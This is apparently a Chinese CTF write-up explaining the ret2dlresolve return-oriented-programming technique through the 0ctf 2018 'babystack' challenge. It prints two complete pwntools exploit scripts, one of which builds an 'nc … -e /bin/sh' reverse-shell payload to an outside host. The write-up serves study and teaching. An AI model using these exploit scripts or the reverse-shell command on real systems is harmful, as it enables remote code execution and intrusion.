一种比较麻烦的Rop链构造——ret2dlresolve

ret2resolve

题目:0ctf 2018 babystack

上周末做了TCTF(0ctf 2018)的新人赛,题目难度适中,但垃圾如我一如既往没有做出几道题。在7o8v大佬的帮助下,弄懂了babystack的考察点和ret2resolve的利用原理,因此对照着wp记录一波。

0x01 ret2dlresolve原理

当一个程序第一次调用libc中的函数时,必须首先对libc中函数的真实地址进行重定位,而这个绑定寻找真实地址的过程由dl_runtime_resolve完成。
dl_runtime_resolve需要两个参数,一个是link_map=*(GOT[1]),即链接器标志信息和reloc_arg(标志该函数重定位入口偏移),我们需要做的就是控制reloc_arg从而使dl_runtime_resolve将函数重定位到我们能控制的地方。

利用方法:

1.控制eip为PLT[0]的地址,只需传递一个index_arg参数
2.控制index_arg的大小,使reloc的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system

详细内容参照:
7o8v大佬的博客
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
CTFwiki
这里写一下我在研究的过程中出现的问题:

pwn4fun:

  1. 构造payload的时候为什么会需要 ppp_ret这个gadgets,而7o8v的博客里这个地方写的却是overflow(程序本来溢出点的地址)??
    答:read函数的参数是通过栈传递的(我刚开始以为是寄存器传递所以需要ppp_ret,类似于ret2syscall),所以当read函数执行完时,程序会返回ppp_ret的地址,会将写入栈中的3个参数全都pop出来,此后栈的样子和调用read之前是一样的。而7o8v的博客里这个地方写overflow是直接返回程序本来溢出的地址。所以两个方法的功能是一样的。

  2. payload2的刚开始为什么是“AAAA”
    答:payload2接上一个paylaod的leave->pop ebp ; ret(pop eip),所以“AAAA”将会被作为ebp(我们并不需要关注ebp是什么)被pop出来,而下一项将会被pop到eip中

  3. index_offset = (base_stage + 28) - rel_plt 这里的28是怎么来的?
    答:其实这里不一定非得是28,你可以改成任何的数,但注意最后的fake_reloc在栈上的位置要和这里的一致。

0x02 题目分析

程序打开了NX保护,有明显的栈溢出
一种比较麻烦的Rop链构造——ret2dlresolve_第1张图片
一种比较麻烦的Rop链构造——ret2dlresolve_第2张图片

但是这道题的问题在于:

  1. 没有输出,找不到write函数,所以无法进行内存泄露
  2. 没有提供libc,所以不可能计算偏移(ret2libc不可行)
  3. 开启NX保护,所有把shellcode布置到栈中的操作都不可行

这三条限制了绝大多数的rop方法,所以只能使用ret2dlresolve
在本题利用这个漏洞的方法中,我学习了两个exp,一个出自7o8v大佬,一个出自https://kileak.github.io/ctf/2018/0ctf-qual-babystack/
,先将两个exp都做下分析

0x03 exploit

exp1

from pwn import *
from hashlib import sha256
context(log_level = 'debug')

EXCV = './babystack'
#libc_load = "./libc.so"
#ENV = {"LD_PRELOAD":libc_load}
e = ELF(EXCV)
#libc = ELF(libc_load)
libc = e.libc

#io = process(EXCV,env = ENV)
#io = process(EXCV)
io = remote('202.120.7.202','6666')
def debug():
    gdb.attach(io)

#----------------------------------------------------

overflow = 0x0804843B         # 栈溢出地址,从IDA中获得
dynsym = 0x080481cc               # readelf -S babystack | grep ".dynsym"
dynstr = 0x0804822c               # readelf -S babystack | grep ".dynstr"
rel_plt = 0x080482b0              # objdump -s -j .rel.plt babystack
bss = 0x0804A020                  # readelf -S babystack | grep ".bss"
base = bss+0x400
fake_rel_addr = base+80           #fake_rel
fake_sym_addr = fake_rel_addr+8   #fake_sym
pop_ebp = 0x080484eb
ppp_ret = 0x080484e9              # ROPgadget --binary bof --only "pop|ret"
lev_ret = 0x080483a8              # ROPgadget --binary bof --only "leave|ret"
plt_0 = 0x080482F0                # objdump -d -j .plt bof


align = 0x10-(fake_sym_addr-dynsym)&0xf # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr += align
index_dynsym = (fake_sym_addr-dynsym)/0x10     #除以0x10因为Elf32_Sym结构体的大小为0x10,得到dynsym索引号
r_info = (index<<8)|7
fake_str_addr = fake_sym_addr+0x10      #fake_str
str_off = fake_str_addr-dynstr
shell = base+128
rel_off = fake_rel_addr-rel_plt
rd_plt = e.plt['read']
rd_got = e.got['read']
fake_reloc=p32(rd_got)+p32(r_info)
fake_sym=p32(str_off)+p32(0)+p32(0)+p32(0x12)

def crack(chal,sol):
    sh = sha256(chal + sol)
    if(sh.digest().startswith('\0\0\0')):
        log.success(sh)
        return 1
    return 0

#----------------------------------------------------
chal = io.recvline()
sol = ''
for i in xrange(0,0x100000000):
    tsol = p32(i)
    if(crack(chal,tsol)==1):
        sol = tsol
        break
io.send(sol)
raw_input()
payload = 'a'*(0x2c)
payload += p32(rd_plt)
payload += p32(overflow)
payload += p32(0)
payload += p32(base)
payload += p32(0x1000)
io.send(payload)

raw_input()
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(rel_off)
payload2 += 'AAAA'
payload2 += p32(shell)
payload2 += 'A'*(80-len(payload))
payload2 += fake_reloc
payload2 += 'B'*align
payload2 += fake_sym
payload2 += 'system\x00'
payload2 += 'C'*(128-len(payload))
payload2 += '/bin/sh\x00'
payload2 += 'END'
io.send(payload2)
raw_input()

payload3 = 'a'*0x2c
payload3 += p32(pop_ebp)
payload3 += p32(base)
payload3 += p32(lev_ret)
io.send(payload3)

io.interactive()

这个exp可以在本地运行成功,但由于服务器端把输出重定向到/dev/null,因此必须反弹一个shell,学习这个exp是为了搞清这个rop的原理,反弹shell的实验并没有进行。

exp2

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import roputils, sys, string, itertools
from hashlib import sha256

LOCAL = True

HOST = "202.120.7.202"
PORT = 6666
#addr_bss=rop.section('.bss')
charset = string.letters+string.digits

def calcpow(chal):
    for combo in itertools.combinations_with_replacement(string.letters+string.digits,4):
        sol = ''.join(combo)        
        if sha256(chal + sol).digest().startswith("\0\0\0"):
            return sol

    return None

def get_connection():
    return remote("localhost", 6666) if LOCAL else remote(HOST, PORT)

def exploit():
    log.info("Solve pow ")

    sol = None

    while sol == None:
        r = get_connection()

        sol = calcpow(r.recvline().strip())

        if sol == None:
            r.close()            

    r.send(sol)

    log.info("Stage1: Prepare bigger read for ropchain")

    payload = "A"*40
    payload += p32(0x804a500)
    payload += p32(0x8048446)
    payload += p32(80)                 # exact length of stage 2 payload
    payload += "B"*(64-len(payload))

    #r.sendline(payload)
    log.info("Stage2: Send ret2dlresolve executing reverse shell")

    payload += "A"*40
    payload += p32(0x804a500)
    rop=roputils.ROP('./babystack')
    addr_bss = rop.section('.bss')
    # Read the fake tabs from payload2 to bss
    payload += rop.call("read", 0, addr_bss, 150)

    # Call dl_resolve with offset to our fake symbol
    payload += rop.dl_resolve_call(addr_bss+60, addr_bss)

    # Create fake rel and sym on bss
    payload2 = rop.string("nc %s 7777 -e /bin/sh" % IP)
   # payload2 = rop.string("/bin/sh")
    payload2 += rop.fill(60, payload2)                        # Align symbol to bss+60
    payload2 += rop.dl_resolve_data(addr_bss+60, "system")    # Fake r_info / st_name
    payload2 += rop.fill(150, payload2)

    payload += payload2

    payload = payload.ljust(0x100, "\x00")

    r.sendline(payload)

    r.interactive()

    return

if __name__ == "__main__":
    e = ELF("./babystack")

    if len(sys.argv) > 1:
        LOCAL = False        
        exploit()
    else:
        LOCAL = True                        
        exploit()

这个exp使用了roputils工具,让整个攻击过程简化了很多,这个工具提供了很多example,可以让这种问题很轻松的解决。

你可能感兴趣的:(一种比较麻烦的Rop链构造——ret2dlresolve)